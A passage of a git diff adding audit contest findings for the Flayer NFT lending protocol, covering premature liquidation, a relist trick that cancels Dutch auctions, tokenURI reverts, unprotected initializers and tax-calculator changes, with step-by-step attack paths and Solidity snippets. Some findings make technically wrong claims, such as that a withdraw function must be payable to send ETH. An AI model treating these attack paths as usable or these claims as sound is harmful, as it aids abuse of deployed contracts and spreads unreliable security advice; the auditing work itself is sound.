+When the health of a protected listing is negative, the position can be liquidated. The health is determined by [getProtectedListingHealth()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L497) by subtracting the current price to unlock the protected listing from `0.95 ether`:
+```solidity
+return int(MAX_PROTECTED_TOKEN_AMOUNT) - int(unlockPrice(_collection, _tokenId));
+```
+The protocol allows users to take up to `0.95e18` tokens when creating a protected listing, which means that as soon as a protected listing is created [getProtectedListingHealth()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L497) can return `0`, and the block after it will return a negative value allowing the listing to be liquidated almost immediately.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+An attacker can take advantage of this to list an NFT as a dutch auction without paying taxes on it:
+
+1. Create a protected listing and borrow `0.95e18` tokens
+2. Wait a block and liquidate his own listing, the attacker will get `0.05e18` tokens for this. The attacker collected `1e18` tokens already, which is the same amount he would get if he deposited the NFT as a floor item
+3. The NFT is now liquidated and listed as a 4 days long dutch auction with a 400 floor multiplier
+
+
+### Impact
+
+- Users can get liquidated the block after they list their NFT if they borrow `0.95e18` tokens
+- An attacker can list an NFT as a 4 days dutch auction with a 400 floor multiplier while avoiding paying taxes
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add a buffer before liquidating is possible, as an example limit the maximum amount of tokens allowed to borrow to `0.9e18`.
\ No newline at end of file
diff --git a/047/384.md b/047/384.md
new file mode 100644
index 0000000..62fa6ce
--- /dev/null
+++ b/047/384.md
@@ -0,0 +1,61 @@
+Flaky Sable Hamster
+
+Medium
+
+# `InfernalRiftAbove:crossTheThreshold()` cannot sends ERC721 tokens from L1 to L2 for non string/implementing name, symbol, tokenURI
+
+## Summary
+`InfernalRiftAbove:crossTheThreshold()` cannot sends ERC721 tokens from L1 to L2 for non string/implementing name, symbol, tokenURI
+
+## Vulnerability Detail
+`InfernalRiftAbove:crossTheThreshold()`, when setting URI, it needs to fetch the `tokenURI()` of the collection.
+```solidity
+function crossTheThreshold(ThresholdCrossParams memory params) external payable {
+...
+ // Go through each NFT, set its URI and escrow it
+ uris = new string[](numIds);
+ for (uint j; j < numIds; ++j) {
+@> uris[j] = erc721.tokenURI(params.idsToCross[i][j]);
+ erc721.transferFrom(msg.sender, address(this), params.idsToCross[i][j]);
+ }
+...
+ }
+```
+However, it assumes the tokenURI() is always implemented, which is actually OPTIONAL for ERC721 standards. This means it would fail to create URI for these ERC721s.
+
+> The metadata extension is OPTIONAL for [ERC-721](https://eips.ethereum.org/EIPS/eip-721) smart contracts (see “caveats”, below). This allows your smart contract to be interrogated for its name and for details about the assets which your NFTs represent.
+>
+```solidity
+/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
+/// @dev See https://eips.ethereum.org/EIPS/eip-721
+/// Note: the ERC-165 identifier for this interface is 0x5b5e139f.
+interface ERC721Metadata /* is ERC721 */ {
+ /// @notice A descriptive name for a collection of NFTs in this contract
+ function name() external view returns (string _name);
+
+ /// @notice An abbreviated name for NFTs in this contract
+ function symbol() external view returns (string _symbol);
+
+ /// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
+ /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
+ /// 3986. The URI may point to a JSON file that conforms to the "ERC721
+ /// Metadata JSON Schema".
+ function tokenURI(uint256 _tokenId) external view returns (string);
+}
+```
+The most famous NFT `Decentraland`, which is a top10 NFTs on Etherscan. It supports the ERC721 interfaceId ie `0x80ac58cd` but doesn't implement the tokenURI()
+https://etherscan.io/token/0xf87e31492faf9a91b02ee0deaad50d51d56d5d4d#readProxyContract
+
+As result, crossTheThreshold() will `revert` when sending Decentraland from L1 to L2
+
+## Impact
+NFT collections that doesn't implements the `tokenURI()` will not to be sent to L2
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L103C12-L107C14
+
+## Tool used
+Manual Review
+
+## Recommendation
+Consider using a `try-catch`, to ensure if a collection implements `OPTIONAL` metadata
\ No newline at end of file
diff --git a/047/473.md b/047/473.md
new file mode 100644
index 0000000..95eca94
--- /dev/null
+++ b/047/473.md
@@ -0,0 +1,37 @@
+Muscular Pebble Walrus
+
+Medium
+
+# `crossTheThreshold()` will revert for tokens that doesn't implement tokenURI
+
+## Summary
+`crossTheThreshold()` will revert for tokens that doesn't implement tokenURI
+
+## Vulnerability Detail
+While sending NFT from L1 to L2, it requires tokenURI in `crossTheThreshold()`. But the problem is not all NFT implements the tokenURI because its OPTIONAL. see [EIP721](https://eips.ethereum.org/EIPS/eip-721)
+```solidity
+function crossTheThreshold(ThresholdCrossParams memory params) external payable {
+//
+ // Go through each NFT, set its URI and escrow it
+ uris = new string[](numIds);
+ for (uint j; j < numIds; ++j) {
+> uris[j] = erc721.tokenURI(params.idsToCross[i][j]);
+ erc721.transferFrom(msg.sender, address(this), params.idsToCross[i][j]);
+ }
+//
+ }
+```
+
+ NFT like [Decentraland](https://etherscan.io/token/0xf87e31492faf9a91b02ee0deaad50d51d56d5d4d#readProxyContract), which is an ERC721 standard but doesn't implements the `tokenURI()`, instead it has tokenMetadata()
+
+## Impact
+crossTheThreshold() will revert for tokens like Decentraland
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L83C5-L133C1
+
+## Tool used
+Manual Review
+
+## Recommendation
+Use try-catch for in crossTheThreshold()
\ No newline at end of file
diff --git a/048/460.md b/048/460.md
new file mode 100644
index 0000000..e21b272
--- /dev/null
+++ b/048/460.md
@@ -0,0 +1,38 @@
+Jovial Frost Porcupine
+
+Medium
+
+# msg.sender should be payable in SafeTransferLib.safeTransferETH
+
+## Summary
+msg.sender should be payable in SafeTransferLib.safeTransferETH
+## Vulnerability Detail
+ function withdraw(address _token, uint _amount) public {
+ // Ensure that we are withdrawing an amount
+ if (_amount == 0) revert CannotWithdrawZeroAmount();
+
+ // Get the amount of token that is stored in escrow
+ uint available = balances[msg.sender][_token];
+ if (available < _amount) revert InsufficientBalanceAvailable();
+
+ // Reset our user's balance to prevent reentry
+ unchecked {
+ balances[msg.sender][_token] = available - _amount;
+ }
+
+ // Handle a withdraw of ETH
+ if (_token == NATIVE_TOKEN) {
+ SafeTransferLib.safeTransferETH(msg.sender, _amount);
+ } else {
+ SafeTransferLib.safeTransfer(_token, msg.sender, _amount);
+ }
+## Impact
+msg.sender should be payable in SafeTransferLib.safeTransferETH
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TokenEscrow.sol#L64
+## Tool used
+
+Manual Review
+
+## Recommendation
+ SafeTransferLib.safeTransferETH(payable(msg.sender), _amount);
\ No newline at end of file
diff --git a/048/697.md b/048/697.md
new file mode 100644
index 0000000..4cfba9d
--- /dev/null
+++ b/048/697.md
@@ -0,0 +1,79 @@
+Winning Emerald Orca
+
+High
+
+# ETH Transfer Failure in `TokenEscrow`: Non-Payable Function Attempting ETH Withdrawal
+
+## Summary
+
+The `TokenEscrow` contract attempts to transfer ETH without having a `payable` function, which will cause the transaction to fail when ETH transfer is attempted.
+
+## Relevant Links
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TokenEscrow.sol#L49-L70
+
+## Vulnerability Detail
+
+In `TokenEscrow.sol:62-67`, the contract attempts to transfer ETH using `SafeTransferLib.safeTransferETH()`. However, the function containing this code is not marked as payable, meaning it cannot receive or handle ETH.
+
+
+```solidity
+ if (_token == NATIVE_TOKEN) {
+ SafeTransferLib.safeTransferETH(msg.sender, _amount);
+ } else {
+ SafeTransferLib.safeTransfer(_token, msg.sender, _amount);
+ }
+```
+
+
+## Impact
+
+This vulnerability will cause all ETH withdrawal attempts to fail, potentially locking ETH in the contract if it has somehow received any. Users will be unable to withdraw their ETH, leading to loss of funds and disruption of the contract's intended functionality.
+
+**Code Snippet**
+
+```solidity
+ function withdraw(address _token, uint _amount) public {
+ // Ensure that we are withdrawing an amount
+ if (_amount == 0) revert CannotWithdrawZeroAmount();
+
+ // Get the amount of token that is stored in escrow
+ uint available = balances[msg.sender][_token];
+ if (available < _amount) revert InsufficientBalanceAvailable();
+
+ // Reset our user's balance to prevent reentry
+ unchecked {
+ balances[msg.sender][_token] = available - _amount;
+ }
+
+ // Handle a withdraw of ETH
+ if (_token == NATIVE_TOKEN) {
+ SafeTransferLib.safeTransferETH(msg.sender, _amount); //@audit cant receive eth the function is not payable
+ } else {
+ SafeTransferLib.safeTransfer(_token, msg.sender, _amount);
+ }
+
+ emit Withdrawal(msg.sender, _token, _amount);
+ }
+
+```
+
+## Tool used
+Manual Review
+
+## Recommendation
+
+To fix this issue, the function should be marked as payable if it's intended to handle ETH transfers:
+
+```solidity
+ function withdraw(address _token, uint256 _amount) public payable {
+ // ... existing code ...
+ if (_token == NATIVE_TOKEN) {
+ SafeTransferLib.safeTransferETH(msg.sender, _amount);
+ } else {
+ SafeTransferLib.safeTransfer(_token, msg.sender, _amount);
+ }
+ // ... rest of the function ...
+}
+```
+
+
diff --git a/049.md b/049.md
new file mode 100644
index 0000000..9ef337a
--- /dev/null
+++ b/049.md
@@ -0,0 +1,28 @@
+Tall Ultraviolet Turkey
+
+High
+
+# cloneDeterministic failed will result in createCollection function being stuck indefinitely
+
+### Summary
+
+The `createCollection` function in `Locker.sol` does not handle the scenario where the target clone address is already deployed. In such a case, the function will revert, causing `createCollection` to be stuck indefinitely.
+
+### Root Cause
+
+[LibClone.sol:222](https://github.com/Vectorized/solady/blob/68f546102a386b860f6a8af4cb043b4266268400/src/utils/LibClone.sol#L222)
+[Locker.sol:311](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L311)
+The problem arises when `cloneDeterministic` is invoked, revealing both the `tokenImplementation` and `salt` publicly. The `_collectionCount` can only be modified during the `createCollection` call. If the target clone address is already deployed, the function will revert. Malicious users might also try to deploy a `cloneDeterministic` contract with the same `salt` and `tokenImplementation` to a specific address due to the public disclosure of these values.
+
+### External pre-conditions
+
+the target clone address has already been deployed.
+
+### Impact
+
+The `createCollection` function cannot be called successfully anymore
+
+### Mitigation
+
+- To resolve the problem, incorporate a try-catch block. If the target clone address is already deployed, try incrementing `_collectionCount++` to create a new clone address.
+- Another solution is to introduce a `setCollectionCount` function to specify a particular value for `_collectionCount`, which can also mitigate the issue.
\ No newline at end of file
diff --git a/049/520.md b/049/520.md
new file mode 100644
index 0000000..0b9fbf3
--- /dev/null
+++ b/049/520.md
@@ -0,0 +1,103 @@
+Faithful Plum Robin
+
+Medium
+
+# User can cancel or modify Dutch auctions, compromising market integrity and user trust
+
+### Summary
+
+A lack of listing type preservation during relisting can be exploited by by users to modify or cancel Dutch auctions, violating core protocol principles.
+
+
+### Root Cause
+
+In Listings.sol, there's a critical oversight in the relist function that allows bypassing restrictions on Dutch auctions and Liquidation listings. Here's a detailed walkthrough:
+
+The modifyListings and cancelListings functions have checks to prevent modification of Dutch auctions:
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L312 and https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L430
+
+```solidity
+function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_) {
+ // ...
+ if (getListingType(listing) != Enums.ListingType.LIQUID) revert InvalidListingType();
+ // ...
+}
+
+function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+ // ...
+ if (getListingType(listing) != Enums.ListingType.LIQUID) revert CannotCancelListingType();
+ // ...
+}
+```
+
+However, the relist function lacks these checks:
+
+```solidity
+function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // ... price difference payment logic ...
+
+ // We can process a tax refund for the existing listing
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+
+ // Validate our new listing
+ _validateCreateListing(_listing);
+
+ // Store our listing into our Listing mappings
+ _listings[_collection][_tokenId] = listing;
+
+ // Pay our required taxes
+ payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+
+ // ... events ...
+}
+```
+This function allows any non-owner to relist an item, potentially changing its type from Dutch or liquidation to liquid. The attacker suffers minimal loss due to:
+
+a) Tax refund for the old listing:
+```solidity
+(uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+```
+b) Immediate cancellation after relisting, which refunds most of the new listing's tax:
+```solidity
+function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+ // ...
+ if (block.timestamp < _listing.created + _listing.duration) {
+ refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+ // ...
+}
+```
+This oversight allows attackers to bypass the intended restrictions on Dutch auctions and Liquidation listings, violating the core principle of auction immutability with minimal financial loss.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Attacker creates a Dutch auction or liquidation listing from Wallet A.
+2. Attacker uses Wallet B to call relist, converting the Dutch auction to a Liquid listing by modifying the duration.
+3. Attacker immediately cancels the new liquid listing using cancelListings at minimal cost.
+
+### Impact
+
+The NFT holders and potential bidders suffer a loss of trust and market efficiency. The attacker gains the ability to manipulate auctions, potentially extracting value by gaming the system. This violates the core principle stated in the whitepaper like around expiry of a liquid auction - `the item is immediately locked into a dutch auction where the price falls from its current floor multiple down to the floor (1x) over a period of 4 days.` However, as seen in this issue, the lock can be broken by just relisting and then cancelling. The issue affects not only Dutch auctions but also liquidation listings which can be similarly canceled or modified and is not properly handled. For example, in case a liquidation listing is cancelled, the `_isLiquidation[_collection][_tokenId]` flag is not cleared causing further issues.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/049/536.md b/049/536.md
new file mode 100644
index 0000000..19a0743
--- /dev/null
+++ b/049/536.md
@@ -0,0 +1,72 @@
+Muscular Admiral Marmot
+
+Medium
+
+# Cannot cancel a dutch auction unlike intended
+
+## Summary
+
+From the whitepaper https://www.flayer.io/whitepaper it states:
+
+> 2.3 Dutch Auction
+> Users pre-pay interest for a specified number of days until their listing expires and are free to update the price or duration at the current fixed interest rate at any time. Listings can be closed at any time by the holder, returning any remaining pre-paid balance.
+>
+
+"Listings can be closed at any time by the holder"
+
+However, the code contradicts this. there, it contains the following logic:
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L427-L430
+
+```solidity
+ // We cannot allow a dutch listing to be cancelled. This will also check that a liquid listing has not
+ // expired, as it will instantly change to a dutch listing type.
+ Enums.ListingType listingType = getListingType(listing);
+
+ if (listingType != Enums.ListingType.LIQUID) revert CannotCancelListingType();
+```
+
+This prevents the cancellation of Dutch auctions, allowing only liquid auctions to be canceled. Therefore, the description suggesting that Dutch listings can be freely closed is inaccurate based on the current implementation.
+
+## Impact
+lister could lose funds, particularly due to the following reasons:
+
+- Pre-paid Interest: In a Dutch auction, users pre-pay interest for the duration of the listing. If the listing cannot be canceled, the user cannot reclaim any remaining pre-paid interest. This means that if the asset does not sell, the pre-paid interest is effectively lost, even though the user no longer benefits from the auction being active.
+
+- Market Conditions: If the market changes or the user no longer wants to sell the asset at the current price, they are stuck with the listing. They would have no way to delist the asset and might be forced to sell at a lower price than desired or leave the listing to expire, losing the funds paid upfront for interest.
+
+## Code Snippet
+```solidity
+ // We cannot allow a dutch listing to be cancelled. This will also check that a liquid listing has not
+ // expired, as it will instantly change to a dutch listing type.
+ Enums.ListingType listingType = getListingType(listing);
+
+ if (listingType != Enums.ListingType.LIQUID) revert CannotCancelListingType();
+```
+
+## Tool used
+Manual Review
+
+## Recommendation
+The code should allow Dutch listings to be canceled. Modify the cancellation logic to permit cancellations of Dutch listings:
+
+If only Allow Dutch Listings to be Canceled
+
+```solidity
+function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+ -- SNIP --
+ - if (listingType != Enums.ListingType.LIQUID) revert CannotCancelListingType();
+ + if (listingType != Enums.ListingType.DUTCH) revert CannotCancelListingType();
+}
+```
+
+If Both Dutch and Liquid Listings are allowed to be Canceled
+```solidity
+function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+ -- SNIP --
+ - if (listingType != Enums.ListingType.LIQUID) revert CannotCancelListingType();
+ + if (listingType != Enums.ListingType.DUTCH && listingType != Enums.ListingType.LIQUID) revert CannotCancelListingType();
+}
+```
+
+
+This adjustment ensures that Dutch auctions can be closed at any time, allowing users to retrieve any remaining pre-paid interest.
diff --git a/050.md b/050.md
new file mode 100644
index 0000000..84919dc
--- /dev/null
+++ b/050.md
@@ -0,0 +1,50 @@
+Funny Grape Ladybug
+
+High
+
+# Incorrect Memory Usage Will Prevent Storage Updates for Listings
+
+## Summary
+A storage reference for a listing is passed to the `_resolveListingTax` function with a `memory` parameter, which prevents any updates to the storage variable from being persisted. This can result in incorrect tax calculations and listing states, impacting users relying on accurate listing data.
+
+## Vulnerability Detail
+In Solidity, passing a storage reference as a `memory` variable means the function operates on a copy of the data, so any changes made within the function will not affect the original storage variable.
+
+This issue arises in the following line in the `Listings::_fillListing`:
+
+```solidity
+(uint fee, uint refund) = _resolveListingTax(_listings[_collection][_tokenId], _collection, false);
+
+```
+
+In this case, `_listings[_collection][_tokenId]` is a storage reference, but it is passed as a `memory` parameter to the `_resolveListingTax` function, which accepts the listing as a `memory` variable:
+
+```solidity
+function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+```
+
+This causes any modifications to `_listing` within `_resolveListingTax` to only affect the copy and not the original storage, meaning no persistent changes are made to the listing. As a result, crucial listing information such as tax calculations and refunds may not be properly updated or recorded.
+
+## Impact
+- **Incorrect Listing Data:** Updates to tax or refunds may not be applied correctly, leading to inaccurate listing information.
+- **Logical Inconsistencies:** Contract behavior may deviate from expectations, as the contract's internal state will not reflect changes made during tax calculations.
+- **Potential Financial Impact:** Incorrect fees or refunds could cause financial discrepancies, affecting users' balances and leading to potential disputes or exploitation.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L504
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L918
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+To ensure the listing updates persist, modify the `_resolveListingTax` function to accept a `storage` reference for the `_listing` variable:
+
+```solidity
+function _resolveListingTax(Listing storage _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+```
+
+This change ensures that any updates made to `_listing` will directly modify the storage variable, preventing inconsistencies and ensuring correct tax and refund behavior.
\ No newline at end of file
diff --git a/050/624.md b/050/624.md
new file mode 100644
index 0000000..4caae9e
--- /dev/null
+++ b/050/624.md
@@ -0,0 +1,71 @@
+Puny Mocha Guppy
+
+High
+
+# H-9 pess-unprotected-setter
+
+## Summary
+
+pess-unprotected-setter
+
+## Vulnerability Detail
+
+
+#### Function: initializeERC1155Bridgable
+
+**Source:** src/InfernalRiftBelow.sol:119-126
+
+**Parent:** contract InfernalRiftBelow
+
+**Signature:** `initializeERC1155Bridgable(address)`
+
+Function InfernalRiftBelow.initializeERC1155Bridgable(address) (src/InfernalRiftBelow.sol#119-126) is a non-protected setter ERC1155_BRIDGABLE_IMPLEMENTATION is written
+
+
+#### Function: setInfernalRiftBelow
+
+**Source:** src/InfernalRiftAbove.sol:71-78
+
+**Parent:** contract InfernalRiftAbove
+
+**Signature:** `setInfernalRiftBelow(address)`
+
+Function InfernalRiftAbove.setInfernalRiftBelow(address) (src/InfernalRiftAbove.sol#71-78) is a non-protected setter INFERNAL_RIFT_BELOW is written
+
+#### Function: initializeERC721Bridgable
+
+**Source:** src/InfernalRiftBelow.sol:103-110
+
+**Parent:** contract InfernalRiftBelow
+
+**Signature:** `initializeERC721Bridgable(address)`
+
+Function InfernalRiftBelow.initializeERC721Bridgable(address) (src/InfernalRiftBelow.sol#103-110) is a non-protected setter ERC721_BRIDGABLE_IMPLEMENTATION is written
+
+
+
+## Impact
+
+## Code Snippet
+
+```solidity
+Function [InfernalRiftBelow.initializeERC1155Bridgable(address)](src/InfernalRiftBelow.sol#L119-L126) is a non-protected setter ERC1155_BRIDGABLE_IMPLEMENTATION is written
+
+```
+
+```solidity
+Function [InfernalRiftAbove.setInfernalRiftBelow(address)](src/InfernalRiftAbove.sol#L71-L78) is a non-protected setter INFERNAL_RIFT_BELOW is written
+
+```
+
+```solidity
+Function [InfernalRiftBelow.initializeERC721Bridgable(address)](src/InfernalRiftBelow.sol#L103-L110) is a non-protected setter ERC721_BRIDGABLE_IMPLEMENTATION is written
+
+```
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/050/626.md b/050/626.md
new file mode 100644
index 0000000..5b469f0
--- /dev/null
+++ b/050/626.md
@@ -0,0 +1,82 @@
+Puny Mocha Guppy
+
+High
+
+# H-10 pess-unprotected-initialize
+
+## Summary
+pess-unprotected-initialize
+## Vulnerability Detail
+
+#### Function: initialize
+
+**Source:** src/libs/ERC1155Bridgable.sol:53-72
+
+**Parent:** contract ERC1155Bridgable
+
+**Signature:** `initialize(uint96,uint256,address)`
+
+Function ERC1155Bridgable.initialize(uint96,uint256,address) (src/libs/ERC1155Bridgable.sol#53-72) is an unprotected initializer.
+
+#### Function: initialize
+
+**Source:** src/libs/ERC721Bridgable.sol:57-86
+
+**Parent:** contract ERC721Bridgable
+
+**Signature:** `initialize(string,string,uint96,uint256,address)`
+
+Function ERC721Bridgable.initialize(string,string,uint96,uint256,address) (src/libs/ERC721Bridgable.sol#57-86) is an unprotected initializer.
+
+#### Function: initializeERC1155Bridgable
+
+**Source:** src/InfernalRiftBelow.sol:119-126
+
+**Parent:** contract InfernalRiftBelow
+
+**Signature:** `initializeERC1155Bridgable(address)`
+
+Function InfernalRiftBelow.initializeERC1155Bridgable(address) (src/InfernalRiftBelow.sol#119-126) is an unprotected initializer.
+
+#### Function: initializeERC721Bridgable
+
+**Source:** src/InfernalRiftBelow.sol:103-110
+
+**Parent:** contract InfernalRiftBelow
+
+**Signature:** `initializeERC721Bridgable(address)`
+
+Function InfernalRiftBelow.initializeERC721Bridgable(address) (src/InfernalRiftBelow.sol#103-110) is an unprotected initializer.
+
+
+
+## Impact
+
+## Code Snippet
+
+
+```solidity
+Function [ERC1155Bridgable.initialize(uint96,uint256,address)](src/libs/ERC1155Bridgable.sol#L53-L72) is an unprotected initializer.
+
+```
+```solidity
+Function [ERC721Bridgable.initialize(string,string,uint96,uint256,address)](src/libs/ERC721Bridgable.sol#L57-L86) is an unprotected initializer.
+
+```
+
+```solidity
+Function [InfernalRiftBelow.initializeERC1155Bridgable(address)](src/InfernalRiftBelow.sol#L119-L126) is an unprotected initializer.
+
+```
+```solidity
+Function [InfernalRiftBelow.initializeERC721Bridgable(address)](src/InfernalRiftBelow.sol#L103-L110) is an unprotected initializer.
+
+```
+
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/051/625.md b/051/625.md
new file mode 100644
index 0000000..54c34cf
--- /dev/null
+++ b/051/625.md
@@ -0,0 +1,108 @@
+Uneven Burlap Dalmatian
+
+High
+
+# Tax calculations on ```Listings::_resolveListingTax()``` will be wrong for all listings upon ```Locker::taxCalculator``` update.
+
+### Summary
+
+When the ```TaxCalculator``` update from the ```Locker::setTaxCalculator()```, all tax calculations on ```Listings::_resolveListingTax()```, since they assume that whatever tax is calculated with the new ```TaxCalculator``` is what was true for the whole duration of the listing.
+
+### Root Cause
+
+The main root cause of this vulnerability is that the ```Locker::setTaxCalculator()``` lacks the way to resolve all taxes for the listings before the change of the ```TaxCalculator```. In this way, every tax calculation after the change (resetting) of ```TaxCalculator``` assumes that this was the case from the start. Firstly, let's see the ```Locker::setTaxCalculator()``` :
+```solidity
+ function setTaxCalculator(address _taxCalculator) public onlyOwner {
+ if (_taxCalculator == address(0)) revert ZeroAddress();
+ taxCalculator = ITaxCalculator(_taxCalculator);
+ emit TaxCalculatorContractUpdated(_taxCalculator);
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L484C1-L488C6)
+
+As you can see ```owner``` can change the ```Locker::TaxCalculator```, if he wants to change some configurations on the ```UTILIZATION_KINK```, the ```FLOOR_MULTIPLE_KINK``` and the other configurations like how the tax is calculated or from which utilization rate and after the interest starts to increase a lot etc. However, this would cause serious problems on the tax calculations on ```Listings::_resolveListingTax()``` since it will use the new ```TaxCalculator``` as it was the initial one. Let's have a look :
+```solidity
+ function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+ // ...
+
+ // Get the amount of tax in total that will have been paid for this listing
+@> uint taxPaid = getListingTaxRequired(_listing, _collection);
+ if (taxPaid == 0) {
+ return (fees_, refund_);
+ }
+
+ // ...
+ }
+
+ function getListingTaxRequired(Listing memory _listing, address _collection) public view returns (uint taxRequired_) {
+ // Send our listing information to our {TaxCalculator} to calculate
+@> taxRequired_ = locker.taxCalculator().calculateTax(_collection, _listing.floorMultiple, _listing.duration);
+
+ // Add our token denomination to support meme tokens
+ taxRequired_ *= 10 ** locker.collectionToken(_collection).denomination();
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L918C1-L956C6)
+
+As we can see, the function will use the ```TaxCalculator``` to determine how much tax the user has already paid, but it will do it with the new formulas. Since the ```TaxCalculator``` has been changed (reset), this is not the actual case. Let's take for example the current ```TaxCalculator``` :
+```solidity
+ function calculateTax(address _collection, uint _floorMultiple, uint _duration) public pure returns (uint taxRequired_) {
+ // If we have a high floor multiplier, then we want to soften the increase
+ // after a set amount to promote grail listings.
+ if (_floorMultiple > FLOOR_MULTIPLE_KINK) {
+ _floorMultiple = FLOOR_MULTIPLE_KINK + ((_floorMultiple - FLOOR_MULTIPLE_KINK) / 2);
+ }
+
+ // Calculate the tax required per second
+ taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration) / 7 days;
+ }
+
+ function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+ // If we haven't reached our kink, then we can just return the base fee
+ if (_utilizationRate <= UTILIZATION_KINK) {
+ // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+ interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+ }
+ // If we have passed our kink value, then we need to calculate our additional fee
+ else {
+ // Convert value in the range 0.8 to 1 to the respective percentage between 8% and
+ // 100% and make it accurate to 2 decimal places.
+ interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+ }
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol)
+
+With the current formulas, a lister will pay X amount of tax when he lists his token for a ```Listing``` (the same with interest rates for ```ProtectedListings```), but when the ```TaxCalculator``` will be set again from ```Locker::setTaxCalculator()```, the ```Listings::_resolveListingTax()``` will assume that it paid the new calculation of tax.
+
+> [!IMPORTANT]
+> ```TaxCalculator``` **IS** expected to be changed in the future (at least there is open possibilities for this) since all similar (Collateralized Debt Position) protocols work this way but instead they take care of this by resolving any difference on tax/interest for their positions before the change. ```Utilization target rates``` and ```kink points``` are supposed to change for various reasons in these kind of protocols like marketing, low/high liquidity management and incentivise/disincentivise.
+
+
+### Internal pre-conditions
+
+1. Owner has set a ```TaxCalculator``` on ```Locker```.
+2. Users have used ```Listings``` and ```PositionListings``` contracts.
+
+### External pre-conditions
+
+1. Owner needs to update the ```TaxCalculator```.
+
+### Attack Path
+
+1. Owner of ```Flayer``` sets a ```TaxCalculator``` on ```Locker```.
+2. Users interact with ```Listings``` and ```PositionListings``` by depositing, borrowing etc.
+3. Owner updates the ```TaxCalculator``` to disincentivize more liquidity to come to the protocol.
+4. Now, calculations for the past like ```taxPaid``` are made as the new ```TaxCalculator``` was there from the start.
+
+### Impact
+
+The impact of this vulnerability is that the protocols accountings will be **totally** messed up, since it will assume that an X amount of tax was paid (```taxPaid```), while this is not the case and the user actually paid some another amount of tax when his started his listing. This will cause problems with the minting and burning of ```collectionTokens``` and the ```totalSupply``` of them will not reflect the reality (NTF <-> ```CollectionToken```).
+
+### PoC
+
+No PoC needed.
+
+### Mitigation
+
+Resolve any tax/interest difference for all positions before the tax calculator change from ```Locker::setTaxCalculator()```.
\ No newline at end of file
diff --git a/051/665.md b/051/665.md
new file mode 100644
index 0000000..f2c8b82
--- /dev/null
+++ b/051/665.md
@@ -0,0 +1,41 @@
+Large Mauve Parrot
+
+Medium
+
+# Settings a new tax calculator contract might lead to accounting inconsistencies
+
+### Summary
+
